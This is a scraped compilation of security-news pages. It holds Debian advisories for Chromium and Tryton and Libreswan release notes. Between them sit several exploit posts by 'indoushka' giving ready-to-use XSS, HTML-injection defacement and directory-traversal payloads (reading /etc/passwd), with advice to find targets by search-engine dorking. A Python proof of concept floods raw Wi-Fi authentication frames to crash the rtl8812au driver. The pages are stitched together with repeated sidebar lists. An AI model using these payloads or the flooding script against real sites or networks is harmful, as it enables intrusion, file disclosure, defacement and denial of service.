Debian Linux Security Advisory 5483-1 - Multiple security issues were discovered in Chromium, which could result in the execution of arbitrary code, denial of service or information disclosure.

    -----BEGIN PGP SIGNED MESSAGE-----Hash: SHA512- -------------------------------------------------------------------------Debian Security Advisory DSA-5483-1                   security@debian.orghttps://www.debian.org/security/                       Moritz MuehlenhoffAugust 25, 2023                       https://www.debian.org/security/faq- -------------------------------------------------------------------------Package        : chromiumCVE ID         : CVE-2023-4427 CVE-2023-4428 CVE-2023-4429 CVE-2023-4430                  CVE-2023-4431Multiple security issues were discovered in Chromium, which could resultin the execution of arbitrary code, denial of service or informationdisclosure.For the oldstable distribution (bullseye), these problems have been fixedin version 116.0.5845.110-1~deb11u1.For the stable distribution (bookworm), these problems have been fixed inversion 116.0.5845.110-1~deb12u1.We recommend that you upgrade your chromium packages.For the detailed security status of chromium please refer toits security tracker page at:https://security-tracker.debian.org/tracker/chromiumFurther information about Debian Security Advisories, how to applythese updates to your system and frequently asked questions can befound at: https://www.debian.org/security/Mailing list: debian-security-announce@lists.debian.org-----BEGIN PGP SIGNATURE-----iQIzBAEBCgAdFiEEtuYvPRKsOElcDakFEMKTtsN8TjYFAmTo/EsACgkQEMKTtsN8TjZcVA//SJ88YLHY0KVBwr1CrQJPHHMeP5gyq80A/LRLf7kNco7jcHfZyiR8LB7V4eo62Um8dCpwzSHRqc73Jx580nn5tW310c3C7LQqVPOu0YBmslLkGstXQmR19mHSZkwGGukYMhoNw/ijfAceRjI2ivCnX1MrZyxb6cRH5vJ4Q0KDkSmCi0l2Luv5NHKYTQgprg4u9ls6OtTPu7BiyRClCJmoqrGvizfKSdVjwVdqrckRzZSmKagiXVpsnZacb8LnBluAyUkzPwC+f3Z9RZsDYzC2BeRn6qPhnRCM3C5LWxMAoypoP1Pv15rHz4qQa/pDFl6kiG1W9HD83UgrY0u32MmBgcCoI6c4nQ32Vk3Z+N+ZHO3kECm/Z7mGTLHXrHk4+jgXJV5TE1vnKNypKh7J6JewVFJxMg8Rw4gMRcod3zMNfBe1q9F39NbSRk0F/5LMfTOKZuZmLTuzX/wV3z6B6I1GoFQx7yw9w3vJ9095hdxWxGstedCSv4uinmPfoEzgCiQjRm828sO1Qzfnv+ukgMruhlFc15tbKdLJGu1mflu7AGURs5s1Q1RPMAZbTFcQ8zb7N/PXyiW2VKERuKRKI0+pjLGSoq7W9RU2Er7Mj9huq0T0xpjAkoR1L+nGXvENDNYNg3Yl4eMhHVnP0UzT37F3GEFEfmgAnlL1ziqypGjHvA0==/urs-----END PGP SIGNATURE-----

Debian Security Advisory 5483-1

Hasan MWB version 1 suffers from a cross site scripting vulnerability.

**Hasan MWB 1 Cross Site Scripting**

Posted Aug 28, 2023

Authored by indoushka

Hasan MWB version 1 suffers from a cross site scripting vulnerability.

tags | exploit, xss

SHA-256 | 4a53646feef7ce0d66491bbe2483dcbe70097fdb2aef17667fd6e5a2c356c92e

Download | Favorite | View

**Hasan MWB 1 Cross Site Scripting**

    ====================================================================================================================================| # Title     : Hasan MWB v1 - XSS Vulnerability                                                                                   || # Author    : indoushka                                                                                                          || # Tested on : windows 10 Français V.(Pro) / browser : Mozilla firefox 65.0(32-bit)                                               || # Vendor    : http://sourceforge.net/                                                                                            |====================================================================================================================================poc :[+] Dorking İn Google Or Other Search Enggine.[+] use payload : /?q=1</title><ScRiPt >prompt(/indoushka/)</ScRiPt>[+] go to http://127.0.0.1/hasanmwbsourceforgenet/?q=1%3C/title%3E%3CScRiPt%20%3Eprompt(/indoushka/)%3C/ScRiPt%3E Greetings to :=========================================================================================================================jericho * Larry W. Cashdollar * brutelogic* shadow_00715 *9aylas*djroot.dz*LiquidWorm*Hussin-X*D4NB4R *ViRuS_Ra3cH *yasMouh* CraCkEr  |=======================================================================================================================================

**File Tags**

*   ActiveX (932)
*   Advisory (82,016)
*   Arbitrary (16,216)
*   BBS (2,859)
*   Bypass (1,740)
*   CGI (1,026)
*   Code Execution (7,282)
*   Conference (679)
*   Cracker (841)
*   CSRF (3,348)
*   DoS (23,456)
*   Encryption (2,370)
*   Exploit (51,984)
*   File Inclusion (4,224)
*   File Upload (976)
*   Firewall (821)
*   Info Disclosure (2,786)
*   Intrusion Detection (892)
*   Java (3,045)
*   JavaScript (859)
*   Kernel (6,681)
*   Local (14,456)
*   Magazine (586)
*   Overflow (12,693)
*   Perl (1,423)
*   PHP (5,149)
*   Proof of Concept (2,338)
*   Protocol (3,603)
*   Python (1,535)
*   Remote (30,811)
*   Root (3,587)
*   Rootkit (508)
*   Ruby (612)
*   Scanner (1,640)
*   Security Tool (7,889)
*   Shell (3,187)
*   Shellcode (1,215)
*   Sniffer (895)
*   Spoof (2,207)
*   SQL Injection (16,392)
*   TCP (2,406)
*   Trojan (687)
*   UDP (893)
*   Virus (665)
*   Vulnerability (31,788)
*   Web (9,670)
*   Whitepaper (3,750)
*   x86 (962)
*   XSS (17,967)
*   Other

**File Archives**

*   August 2023
*   July 2023
*   June 2023
*   May 2023
*   April 2023
*   March 2023
*   February 2023
*   January 2023
*   December 2022
*   November 2022
*   October 2022
*   September 2022
*   Older

**Systems**

*   AIX (428)
*   Apple (2,002)
*   BSD (373)
*   CentOS (57)
*   Cisco (1,925)
*   Debian (6,822)
*   Fedora (1,692)
*   FreeBSD (1,244)
*   Gentoo (4,322)
*   HPUX (879)
*   iOS (351)
*   iPhone (108)
*   IRIX (220)
*   Juniper (67)
*   Linux (46,514)
*   Mac OS X (686)
*   Mandriva (3,105)
*   NetBSD (256)
*   OpenBSD (485)
*   RedHat (13,754)
*   Slackware (941)
*   Solaris (1,610)
*   SUSE (1,444)
*   Ubuntu (8,838)
*   UNIX (9,293)
*   UnixWare (186)
*   Windows (6,575)
*   Other

Hasan MWB 1 Cross Site Scripting

An issue was discovered in Libreswan 3.x and 4.x before 4.12. When an IKEv1 ISAKMP SA Informational Exchange packet contains a Delete/Notify payload followed by further Notifies that act on the ISAKMP SA, such as a duplicated Delete/Notify message, a NULL pointer dereference on the deleted state causes the pluto daemon to crash and restart.

*   Aug 8, 2023
*   273ab05
*   zip
*   tar.gz
*   Notes

*   May 3, 2023
*   cbfa405
*   zip
*   tar.gz
*   Notes

*   Mar 1, 2023
*   b681175
*   zip
*   tar.gz

v4.9 (October 13, 2022)

\* IKEv1: fix crasher (introduced in 4.8) when USE\_NSS\_KDF=false or MD5 \[Andrew\]
\* IKEv2: fix RFC 8229 IKE/ESP over IPv6 TCP \[Andrew\]

*   Oct 14, 2022
*   394c823
*   zip
*   tar.gz

v4.8 (October 2, 2022)

\* release: remove SHA1 bindings from LIBRESWAN OpenPGP key \[dkg/Paul\]
\* pluto: ignore obsoleted unused interfaces= / --iface \[Paul/Andrew\]
\* pluto: various internal crypto struct changes \[Andrew\]
\* pluto: fix traffic counters for AH and IPCOMP \[Andrew\]
\* pluto: improve logging of duplicate serial cert error \[Andrew\]
\* pluto: support for maxbytes/maxpacket counters \[Antony/Paul\]
\* pluto: handle HW tokens using strange CKAIDs; github/815 \[Andrew\]
\* pluto: added --ipsec-max-bytes / --ipsec-max-packets support \[Antony\]
\* libipsecconf: added ipsec-max-bytes= and ipsec-max-packets= options \[Paul\]
\* IKEv2: emit one CERTREQ payload with all the hashes \[Andrew\]
\* addconn/whack: add support for {left,right}pubkey= \[Andrew\]
\* showhostkey: add support for ECDSA pubkeys \[Andrew\]
\* Crypto: add KDF self tests \[Daiki Ueno\]
\* IPv6: open IPv6 IKE port 4500; github/800 \[Andrew\]
\* showhostkey: add --pem option to print PEM encoded public key \[Andrew\]
\* unbound: \_unbound-hook converted from python to shell \[Andrew\]
\* BSD: delete old BSDKAME code replaced by PFKEYV2 code \[Andrew\]
\* BSD: fix replay window byte vs bit math \[Andrew\]
\* BSD: fix code finding interfaces; github/728 \[Andrew\]
\* FreeBSD: support large replay window; github/756 \[Andrew\]
\* FreeBSD: support ESN; github/721 \[Andrew\]
\* linux: update copy of xfrm.h header \[Paul\]
\* packaging: update fedora spec file \[Paul/Tuomo\]
\* building: on BSD, always use GCC; freebsd/264288 llvm/55963 \[Andrew\]
\* building: enable LTO when USE\_LTO=true; github/836 github/834 \[Andrew\]
\* building: dropped default build and packaging support for:
  	    Fedora 22, 28, 29, 30
            Debian stretch
            Ubuntu cosmic, xenial
            RHEL6 was removed in v4.5
            Add SUSE, Arch, Mint

*   Oct 3, 2022
*   be225bf
*   zip
*   tar.gz

v4.7 (May 24, 2022)

\* IKEv2: EAPTLS support \[Timo Teräs / Andrew\]
\* IKEv2: EAPONLY support \[Andrew\]
\* IKEv2: fix interop when IPCOMP+transport-mode \[Andrew\]
\* IKEv2: fix race between new IKE SA and liveness \[Andrew\]
\* IKEv2: fix interop with Android 12 + certificates \[Andrew\]
\* IKEv1: reject IKEv2 only authby=secret+rsasig \[Andrew\]
\* config: end keywords with no left/right prefix are applied to both ends
\* kernel: fix double delete of kernel policy when tearing down SA \[Andrew\]
\* kernel: fix deleting policy when an XFRMi FD ID; github/618 \[Andrew\]
\* kernel: general cleanups \[Andrew\]
\* \_stackmanager / pluto: support Ubuntu 18.04 LTS kernels \[Paul\]
\* FreeBSD: libreswan builds out-of-the-box \[Andrew\]
\* BSD: Add IPv6 support (tested on NetBSD)
\* building: fix build on fedora rawhide \[Paul\]
\* internals: initiate IKEv2 CREATE\_CHILD\_SA exchange using IKE SA \[Andrew\]
\* internals: \_updown.bsdkame renamed to \_updown.bsd

*   May 24, 2022
*   19eabcd
*   zip
*   tar.gz

v4.6 (January 11, 2022)

\* SECURITY: Fixes CVE-2022-23094 https://libreswan.org/security/CVE-2022-23094
\* IKEv2: aggressively check incoming fragments \[Andrew\]
\* IKEv2: when rekeying and PFS, only propose/allow original crypt-suite \[Andrew\]
\* IKEv2: when PFS, don't repeatedly log all proposals \[Andrew\]
\* IKEv2: Labeled IPsec improvements \[Andrew\]
\* IKEv1: support for ISAKMP\_N\_CISCO\_LOAD\_BALANCE removed \[Andrew\]
\* pluto: Revamp the host connection lookup mechanism \[Andrew\]
\* pluto: Change default replay-window from 32 to 128 \[Paul\]
\* pluto: Change default esn= to "either" and prefer "yes" \[Paul\]
\* pluto: Disable esn when replay-window=0 \[Paul\]
\* pluto: Drop obsolete debug options such as crypto-low \[Andrew\]
\* seccomp: Updated syscall allow-list \[Paul\]
\* packaging: replace old SUSE packaging with pointer to downstream \[Andrew\]
\* NetBSD: Don't use ESN - not supported by kernel \[Andrew\]
\* letsencrypt: Fix bashisms in letsencrypt script \[dkg\]
\* libipsecconf: allow leftauth=ecdsa|rsa (match authby= values) \[Paul\]
\* testing: significantly improved testing \[Andrew, Paul\]

*   Jan 12, 2022
*   5cb4ea7
*   zip
*   tar.gz

v4.5 (August 20, 2021)

\* IKEv1: multiple subnets could lead to crossed wires, failures \[Paul/Andrew\]
\* IKEv2: don't tear down IKE SA on TS\_UNACCEPTABLE \[Paul\]
\* IKEv2: unpend/delete Child SA when rejected by IKE\_AUTH response \[Andrew\]
\* IKEv2: mobike: resolve\_defaultroute\_one() updates \[Andrew\]
\* IKEv2: mobike: prevent sending duplicate mobike response \[Andrew\]
\* IKEv2: Support for Childless IKE SA \[Andrew\]
\* IKEv2: redirect: make peer redirecting in IKE\_AUTH childless \[Vukasin\]
\* IKEv2: Labeled IPsec --up causes Childless IKE SA \[Andrew/Paul\]
\* IKEv2: Labeled IPsec conns share SPD policies (as IKEv1) \[Andrew/Paul/Kavinda\]
\* IKEv2: Performance; eliminate more O(#CONNECTIONS) code \[Andrew\]
\* IKEv2: Immediately delete replaced Child from new (IC) IKE SA \[Andrew/Paul\]
\* pluto: mismatched subnets= could take down all conns \[Paul\]
\* pluto: Don't delete existing IKE SA of connection instance \[Paul\]
\* pluto: fail better on parse errors in subnet= clause \[Paul\]
\* libswan: use getaddrinfo(3) instead of gethostbyname2(3) \[Hugh\]
\* libipsecconf: fail to load conn if no right= or left= set \[Paul\]
\* libipsecconf: change default of initial-contact= to yes \[Paul\]
\* X509: directly append new CRL requests to the fetch queue \[Andrew\]
\* whack: implement --impair trigger:<global-event> \[Andrew\]
\* ipsec.service: remove reload which did not work as expected \[Tuomo\]
\* portexcludes: update to use python3 \[Kim\]
\* building: fix NetBSD build \[Andrew\]
\* building: fix arm / aarch64 build \[kekePower@github\]
\* building: Remove support for RHEL6 USE\_OLD\_SELINUX \[Paul\]
\* packaging: handle properly rpm sysctl config \[Tuomo\]
\* packaging: rhel7: fix python2 shebang \[Tuomo\]

*   Aug 20, 2021
*   f36ab1b
*   zip
*   tar.gz

v4.4 (April 22, 2021)

\* IKEv2: Fixes for TCP encap in Transport Mode and host-to-host \[Paul/Sabrina\]
\* IKEv2: Fixes to Labeled IPsec policies \[Kavinda Wewegama/Paul\]
\* IKEv2: Add redirect statistics to whack --globalstatus \[Clive Zagno\]
\* IKEv2: Connections would not always switch when needed \[Andrew/Paul\]
\* pluto: Fix for host-to-host connections use non-standard IKE ports \[Paul\]
\* pluto: Use peer ID (IKEv2 IDr, IKEv1 Aggr) to select best initial conn \[Paul\]
\* pluto: Disable interface-ip= as the feature is not yet implemented \[Paul\]
\* pluto: Fix PLUTO\_PEER\_CLIENT\* in updown for NAT + Transport Mode \[Paul\]
\* pluto: Remove never updated PLUTO\_VERSION for updown scripts \[Paul\]
\* pluto: Actually set PLUTO\_CONNECTION\_TYPE= to transport or tunnel \[Paul\]
\* pluto: Allow non-templated wildcard ID connections to match \[Paul\]
\* pluto: Reduce and merge various logging messages \[Andrew\]
\* libipsecconf: Do not allow vhost/vnet in IKEv2 connections \[Paul\]
\* XFRM: Restarting pluto when using ipsec-interface= could fail \[Paul\]
\* contrib/munin: Update plugin to use python3 and update doc header \[Tuomo\]
\* testing: Enable OpenBSD interop tests \[Paul/Ravi\]
\* testing: Make tests more reliable on KVM \[Andrew\]

*   Apr 22, 2021
*   383a28e
*   zip
*   tar.gz

v4.3 (February 21, 2021)

\* pluto: Restore range checking on Labeled IPsec \[Paul/Andrew\]
\* pluto: Higher state serialno does not imply newest state \[Paul\]
\* pluto: Cleanup ip\_address vs ip\_endpoint (protoport dropping) \[Andrew\]
\* pluto: Revival of code could accidentally fallback to IKEv1 \[Andrew\]
\* newhostkey: Add support for generating ECDSA keys \[Daiki Ueno\]
\* libipsecconf: Ignore empty option at end of config (rhbz#1685653) \[Andrew\]
\* whack: Add --global-redirect and --global-redirect-to options \[Pietro Monteiro\]

*   Feb 21, 2021
*   8a6ccf7
*   zip
*   tar.gz

CVE-2023-38712: Tags · libreswan/libreswan

Debian Linux Security Advisory 5482-1 - Edbo and Cedric Krier discovered that the Tryton application server does enforce record rules when only reading fields without an SQL type.

-----BEGIN PGP SIGNED MESSAGE-----  
Hash: SHA512

- -------------------------------------------------------------------------  
Debian Security Advisory DSA-5482-1                   security@debian.org  
https://www.debian.org/security/                       Moritz Muehlenhoff  
August 24, 2023                       https://www.debian.org/security/faq  
- -------------------------------------------------------------------------

Package        : tryton-server  
CVE ID         : not yet available

"Edbo" and Cedric Krier discovered that the Tryton application server  
does enforce record rules when only reading fields without an SQL type  
(like Function fields).

For the oldstable distribution (bullseye), this problem has been fixed  
in version 5.0.33-2+deb11u2.

For the stable distribution (bookworm), this problem has been fixed in  
version 6.0.29-2+deb12u1.

We recommend that you upgrade your tryton-server packages.

For the detailed security status of tryton-server please refer to  
its security tracker page at:  
https://security-tracker.debian.org/tracker/tryton-server

Further information about Debian Security Advisories, how to apply  
these updates to your system and frequently asked questions can be  
found at: https://www.debian.org/security/

Mailing list: debian-security-announce@lists.debian.org  
-----BEGIN PGP SIGNATURE-----

iQIzBAEBCgAdFiEEtuYvPRKsOElcDakFEMKTtsN8TjYFAmTnqjsACgkQEMKTtsN8  
TjbcjBAAmjWzeNl1H7A9skD50+wxRyOBQK+lrqpEcCekIit699viinOKJq4kKzsW  
/oZzZ8w+a/mKgcz9VgYUDuFE30h1kA43dMY9sb4GDpKRvXUGQ0bkbOYCBmktw+u1  
IWvYMccmTDCq9tnLh8yyrNV/q1/ZE2ZmC5ek2ASiXtmLKCYR3UoHxPjAHmYayD+o  
vVvPtmQ5/REr76+VCKupThY2+/Om4sxoeBoUvzH1O99QY5Na1QSZR1yfYzuTOF67  
LaiqwkTqiLr4kRtfE1ngcjuqWHrpOC14K7rMSn29sIYJLGQ0ILjpN73snZuUvlVz  
AAX+p1q61l/8mEJrMcDA//Qr1jMlZS4dk9SlkCfPofekFLv160pihc83NGJh/vPn  
KH62Bp71Fk9BLOqJOonITEHEoIrglecylwyjOy8cbg0X7AkaeLufZZjRV1VUS0yX  
Ff4n2qWMTjGEzqZeW9PVA6TTQ9ecSNfHzUF9qanI5F0eobSzhd4GefS9L6FL+hYi  
fZ9Em29e8y5SnQ+ePXCaBq5E78HIGb6f/+i2bzyRjAcaCKN4g0fO4PVIFXbmGHCC  
Wbp1DLX4T2Dpu5O60MtdlBjd538MSS7LLrvqcnaQNfNoD9ujEysM12BWP33QhwVK  
k4vrcxoQBj0P1vB08zQ3GhDfp6j9AxNLHDL5TP8gr1vJzmZfw5U=1vl7  
-----END PGP SIGNATURE-----

Debian Security Advisory 5482-1

GraceHRM version 1.0.3 suffers from a directory traversal vulnerability.

**GraceHRM 1.0.3 Directory Traversal**

Posted Aug 24, 2023

Authored by indoushka

GraceHRM version 1.0.3 suffers from a directory traversal vulnerability.

tags | exploit, file inclusion

SHA-256 | 1ef7aca42ba692fa60907a0530d21ee9db579bba9acd7d508271bcf4d6e8171a

Download | Favorite | View

**GraceHRM 1.0.3 Directory Traversal**

    ====================================================================================================================================| # Title     : GraceHRM v1.0.3 Directory traversal Vulnerability                                                                  || # Author    : indoushka                                                                                                          || # Tested on : windows 10 Français V.(Pro) / browser : Mozilla firefox 66.0(64-bit)                                               | | # Vendor    : http://p30vel.ir/                                                                                                  |  ====================================================================================================================================poc :[+] Dorking İn Google Or Other Search Enggine.[+] Use Payload : /admin/download?type=files&filename=../../../../../../../../../etc/passwd[+] http://127.0.0.1/hrmgraceitltdcom/admin/download?type=files&filename=../../../../../../../../../etc/passwdGreetings to :=========================================================================================================================jericho * Larry W. Cashdollar * brutelogic* shadow_00715 *9aylas*djroot.dz*LiquidWorm*Hussin-X*D4NB4R *ViRuS_Ra3cH *yasMouh* CraCkEr  |=======================================================================================================================================

**File Tags**

*   ActiveX (932)
*   Advisory (82,010)
*   Arbitrary (16,214)
*   BBS (2,859)
*   Bypass (1,740)
*   CGI (1,026)
*   Code Execution (7,282)
*   Conference (679)
*   Cracker (841)
*   CSRF (3,348)
*   DoS (23,453)
*   Encryption (2,370)
*   Exploit (51,962)
*   File Inclusion (4,223)
*   File Upload (976)
*   Firewall (821)
*   Info Disclosure (2,785)
*   Intrusion Detection (892)
*   Java (3,045)
*   JavaScript (859)
*   Kernel (6,681)
*   Local (14,456)
*   Magazine (586)
*   Overflow (12,693)
*   Perl (1,423)
*   PHP (5,149)
*   Proof of Concept (2,338)
*   Protocol (3,603)
*   Python (1,535)
*   Remote (30,803)
*   Root (3,587)
*   Rootkit (508)
*   Ruby (612)
*   Scanner (1,640)
*   Security Tool (7,889)
*   Shell (3,187)
*   Shellcode (1,215)
*   Sniffer (895)
*   Spoof (2,207)
*   SQL Injection (16,385)
*   TCP (2,406)
*   Trojan (687)
*   UDP (893)
*   Virus (665)
*   Vulnerability (31,788)
*   Web (9,670)
*   Whitepaper (3,750)
*   x86 (962)
*   XSS (17,956)
*   Other

**File Archives**

*   August 2023
*   July 2023
*   June 2023
*   May 2023
*   April 2023
*   March 2023
*   February 2023
*   January 2023
*   December 2022
*   November 2022
*   October 2022
*   September 2022
*   Older

**Systems**

*   AIX (428)
*   Apple (2,002)
*   BSD (373)
*   CentOS (57)
*   Cisco (1,925)
*   Debian (6,819)
*   Fedora (1,692)
*   FreeBSD (1,244)
*   Gentoo (4,322)
*   HPUX (879)
*   iOS (351)
*   iPhone (108)
*   IRIX (220)
*   Juniper (67)
*   Linux (46,508)
*   Mac OS X (686)
*   Mandriva (3,105)
*   NetBSD (256)
*   OpenBSD (485)
*   RedHat (13,753)
*   Slackware (941)
*   Solaris (1,610)
*   SUSE (1,444)
*   Ubuntu (8,836)
*   UNIX (9,292)
*   UnixWare (186)
*   Windows (6,575)
*   Other

GraceHRM 1.0.3 Directory Traversal

G and G Corporate CMS version 1.0 suffers from a cross site scripting vulnerability.

**G And G Corporate CMS 1.0 Cross Site Scripting**

Posted Aug 23, 2023

Authored by indoushka

G and G Corporate CMS version 1.0 suffers from a cross site scripting vulnerability.

tags | exploit, xss

SHA-256 | ec7e6459653c2e6f1683c120c47e58e61d870a911a466497ef2ef99455a30669

Download | Favorite | View

**G And G Corporate CMS 1.0 Cross Site Scripting**

    ====================================================================================================================================| # Title     : G&G Corporate CMS v1.0  XSS Vulnerability                                                                          || # Author    : indoushka                                                                                                          || # Tested on : windows 10 Français V.(Pro) / browser : Mozilla firefox 66.0.2(32-bit)                                             | | # Vendor    : http://gegweb.it                                                                                                   |  | # Dork      : intext:Powered by Studio G&G Corporate Communication site:it                                                       |====================================================================================================================================poc :[+] Dorking İn Google Or Other Search Enggine.[+] Use payload : /prodotti.php?LANG=2&id=prodotti&CAT=1'<marquee><font color=lime size=32>Hacked by indoushka</font></marquee>[+] http://priolinoxit/prodotti.php?LANG=2&id=prodotti&CAT=1%27%3Cmarquee%3E%3Cfont%20color=lime%20size=32%3EHacked%20by%20indoushka%3C/font%3E%3C/marquee%3EGreetings to :=================================================================jericho * Larry W. Cashdollar * shadow_00715 * LiquidWorm * Hussin-X * D4NB4R |===============================================================================

**File Tags**

*   ActiveX (932)
*   Advisory (82,006)
*   Arbitrary (16,212)
*   BBS (2,859)
*   Bypass (1,740)
*   CGI (1,026)
*   Code Execution (7,282)
*   Conference (679)
*   Cracker (841)
*   CSRF (3,347)
*   DoS (23,453)
*   Encryption (2,370)
*   Exploit (51,952)
*   File Inclusion (4,222)
*   File Upload (976)
*   Firewall (821)
*   Info Disclosure (2,785)
*   Intrusion Detection (892)
*   Java (3,045)
*   JavaScript (859)
*   Kernel (6,681)
*   Local (14,456)
*   Magazine (586)
*   Overflow (12,693)
*   Perl (1,423)
*   PHP (5,147)
*   Proof of Concept (2,338)
*   Protocol (3,602)
*   Python (1,535)
*   Remote (30,799)
*   Root (3,587)
*   Rootkit (508)
*   Ruby (612)
*   Scanner (1,640)
*   Security Tool (7,888)
*   Shell (3,186)
*   Shellcode (1,215)
*   Sniffer (894)
*   Spoof (2,207)
*   SQL Injection (16,383)
*   TCP (2,406)
*   Trojan (687)
*   UDP (893)
*   Virus (665)
*   Vulnerability (31,788)
*   Web (9,670)
*   Whitepaper (3,750)
*   x86 (962)
*   XSS (17,953)
*   Other

**File Archives**

*   August 2023
*   July 2023
*   June 2023
*   May 2023
*   April 2023
*   March 2023
*   February 2023
*   January 2023
*   December 2022
*   November 2022
*   October 2022
*   September 2022
*   Older

**Systems**

*   AIX (428)
*   Apple (2,002)
*   BSD (373)
*   CentOS (57)
*   Cisco (1,925)
*   Debian (6,819)
*   Fedora (1,692)
*   FreeBSD (1,244)
*   Gentoo (4,322)
*   HPUX (879)
*   iOS (351)
*   iPhone (108)
*   IRIX (220)
*   Juniper (67)
*   Linux (46,504)
*   Mac OS X (686)
*   Mandriva (3,105)
*   NetBSD (256)
*   OpenBSD (485)
*   RedHat (13,750)
*   Slackware (941)
*   Solaris (1,610)
*   SUSE (1,444)
*   Ubuntu (8,835)
*   UNIX (9,291)
*   UnixWare (186)
*   Windows (6,574)
*   Other

G And G Corporate CMS 1.0 Cross Site Scripting

FreshRSS version 1.11.1 suffers from an html injection vulnerability.

**FreshRSS 1.11.1 HTML Injection**

Posted Aug 23, 2023

Authored by indoushka

FreshRSS version 1.11.1 suffers from an html injection vulnerability.

tags | exploit

SHA-256 | c789b4001ff7c396e22af1e82b8f9c8c3a4f13f593828eb66d0a73226d79294b

Download | Favorite | View

**FreshRSS 1.11.1 HTML Injection**

    ====================================================================================================================================| # Title     : FreshRSS v1.11.1 Html Inject Vulnerability                                                                         || # Author    : indoushka                                                                                                          || # Tested on : windows 10 Français V.(Pro) / browser : Mozilla firefox 63.0.3 (32-bit)                                            || # Vendor    : https://freshrss.org/                                                                                              |====================================================================================================================================poc :[+]  Dorking İn Google Or Other Search Enggine .[+]  use payload : <marquee><font color=lime size=32>Hacked by indoushka</font></marquee>[+]  https://demo127.0.0.1/freshrssorg/i/?c=<marquee><font color=lime size=32>Hacked by indoushka</font></marquee>Greetings to :=========================================================================================================================jericho * Larry W. Cashdollar * brutelogic* shadow_00715 *9aylas*djroot.dz*LiquidWorm*Hussin-X*D4NB4R *ViRuS_Ra3cH *yasMouh* CraCkEr  |=======================================================================================================================================

**File Tags**

*   ActiveX (932)
*   Advisory (82,006)
*   Arbitrary (16,212)
*   BBS (2,859)
*   Bypass (1,740)
*   CGI (1,026)
*   Code Execution (7,282)
*   Conference (679)
*   Cracker (841)
*   CSRF (3,347)
*   DoS (23,453)
*   Encryption (2,370)
*   Exploit (51,952)
*   File Inclusion (4,222)
*   File Upload (976)
*   Firewall (821)
*   Info Disclosure (2,785)
*   Intrusion Detection (892)
*   Java (3,045)
*   JavaScript (859)
*   Kernel (6,681)
*   Local (14,456)
*   Magazine (586)
*   Overflow (12,693)
*   Perl (1,423)
*   PHP (5,147)
*   Proof of Concept (2,338)
*   Protocol (3,602)
*   Python (1,535)
*   Remote (30,799)
*   Root (3,587)
*   Rootkit (508)
*   Ruby (612)
*   Scanner (1,640)
*   Security Tool (7,888)
*   Shell (3,186)
*   Shellcode (1,215)
*   Sniffer (894)
*   Spoof (2,207)
*   SQL Injection (16,383)
*   TCP (2,406)
*   Trojan (687)
*   UDP (893)
*   Virus (665)
*   Vulnerability (31,788)
*   Web (9,670)
*   Whitepaper (3,750)
*   x86 (962)
*   XSS (17,953)
*   Other

**File Archives**

*   August 2023
*   July 2023
*   June 2023
*   May 2023
*   April 2023
*   March 2023
*   February 2023
*   January 2023
*   December 2022
*   November 2022
*   October 2022
*   September 2022
*   Older

**Systems**

*   AIX (428)
*   Apple (2,002)
*   BSD (373)
*   CentOS (57)
*   Cisco (1,925)
*   Debian (6,819)
*   Fedora (1,692)
*   FreeBSD (1,244)
*   Gentoo (4,322)
*   HPUX (879)
*   iOS (351)
*   iPhone (108)
*   IRIX (220)
*   Juniper (67)
*   Linux (46,504)
*   Mac OS X (686)
*   Mandriva (3,105)
*   NetBSD (256)
*   OpenBSD (485)
*   RedHat (13,750)
*   Slackware (941)
*   Solaris (1,610)
*   SUSE (1,444)
*   Ubuntu (8,835)
*   UNIX (9,291)
*   UnixWare (186)
*   Windows (6,574)
*   Other

FreshRSS 1.11.1 HTML Injection

An issue was discovered in function nl80211_send_chandef in rtl8812au v5.6.4.2 allows attackers to cause a denial of service.

**testing environment**  
root@kali:~# uname -r  
5.6.0-kali2-amd64

**poc:**  
\`

#!/usr/bin/env python  
#coding=utf-8  
import time  
import socket

AP\_MAC = "00:22:66:88:22:00"  
STA\_MAC = "00:13:ef:f1:04:ef"  
ETH\_P\_ALL = 3  
IFACE = "wlan0"

def mac2str(mac):  
return "".join(map(lambda x: chr(int(x, 16)), mac.split(":")))

RADIO = "\\x00"  
RADIO += "\\x00"  
RADIO += "\\x24\\x00"  
RADIO += "\\x2f\\x40\\x00\\xa0"  
RADIO += "\\x20\\x08\\x00\\x00"  
RADIO += "\\x00\\x00\\x00\\x00"  
RADIO += "\\x27"  
RADIO += "\\x43"  
RADIO += "\\x6e\\x25"  
RADIO += "\\xa0\\x00"  
RADIO += "\\x00\\x00"  
RADIO += "\\x10\\x02"  
RADIO += "\\x6c\\x09"  
RADIO += "\\xa0\\x00"  
RADIO += "\\xd0\\x00"  
RADIO += "\\x00"  
RADIO += "\\x00"  
RADIO += "\\xd0"  
RADIO += "\\x00"

AUTH\_REQ\_OPEN = RADIO + "\\xB0" # Type/Subtype  
AUTH\_REQ\_OPEN += "\\x08" # Flags  
AUTH\_REQ\_OPEN += "\\xc3\\x50" # Duration ID  
AUTH\_REQ\_OPEN += mac2str(AP\_MAC) # Desti8nation address  
AUTH\_REQ\_OPEN += mac2str(STA\_MAC) # Source address  
AUTH\_REQ\_OPEN += mac2str(AP\_MAC) # BSSID  
AUTH\_REQ\_OPEN += "\\x00\\x00" # Sequence control  
AUTH\_REQ\_OPEN += "\\x00\\x00" # Authentication algorithm (open)  
AUTH\_REQ\_OPEN += "\\x01\\x00" # Authentication sequence number  
AUTH\_REQ\_OPEN += "\\x00\\x00" # Authentication status  
AUTH\_REQ\_OPEN += "\\x1f\\xd8" # Authentication status  
AUTH\_REQ\_OPEN += "\\x5a\\x07" # Authentication status  
AUTH\_REQ\_HDR = AUTH\_REQ\_OPEN\[:-6\]

def start\_fuzz():  
s = socket.socket(socket.AF\_PACKET, socket.SOCK\_RAW, socket.htons(ETH\_P\_ALL))  
s.bind((IFACE, ETH\_P\_ALL))  
while True:  
print("send msg:",AUTH\_REQ\_OPEN)  
s.send(AUTH\_REQ\_OPEN)

def main():  
start\_fuzz()

if **name** == "**main**":  
main()  
\`  
when execute poc, we should turn on monitoring mode：  
ip link set wlan0 down  
iw dev wlan0 set type monitor  
ip link set wlan0 up

**result**

